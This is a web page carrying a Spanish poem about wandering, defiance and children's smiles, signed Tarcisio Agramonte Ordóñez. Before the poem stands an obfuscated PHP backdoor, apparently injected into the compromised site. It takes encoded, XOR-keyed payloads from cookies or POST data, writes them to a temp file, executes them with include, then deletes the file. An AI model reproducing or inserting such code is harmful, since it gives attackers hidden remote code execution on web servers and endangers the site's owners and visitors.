$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> VARIACIONES EN TORNO A NAVEGAR – www.interferencechannel.com

VARIACIONES EN TORNO A NAVEGAR

Entonces uno no se resigna
a los buenos modales heredados de la casa
ni a subir, bajando, las gastadas escaleras
que conducen al triunfo de los otros.

Entonces uno va por la vida como un trueno
soltando a chorros, en polvos de caminos,
el sudor. Dorado y vital frente a la muerte.

Entonces uno va solo con su hornillo a cuestas,
refundiendo en sus ojos el fracaso de las gentes.
Sintiendo que el mundo afluye al cuenco de unas manos,
abiertas como rosa, en digitales rumbos de los vientos.

Entonces uno no sabe de meter el errabundo cuerpo
en etiquetas. Ni de odios amargos ni de consejas.
Ni uno vende, entonces, en cómodas cuotas, su alegría.

Entonces uno no entiende cómo alguien trocado ayer en fósil prematuro, con un cuchillo largo -como larga y estrábica es la noche-
va segando la sonrisa de los niños.

Si los niños son corazones abiertos en velamen
abierto en sumatoria de todos los caminos.

Entonces uno vaga puro y vaga repudiado y loco. Puro, porque sabe que un algo de grandeza nos asiste. Conociendo el mensaje de esperanza cifrado en la sonrisa. Y sabiendo que los niños ya son más que trinos desalados.

Tarcisio Agramonte Ordóñez

Comments are closed.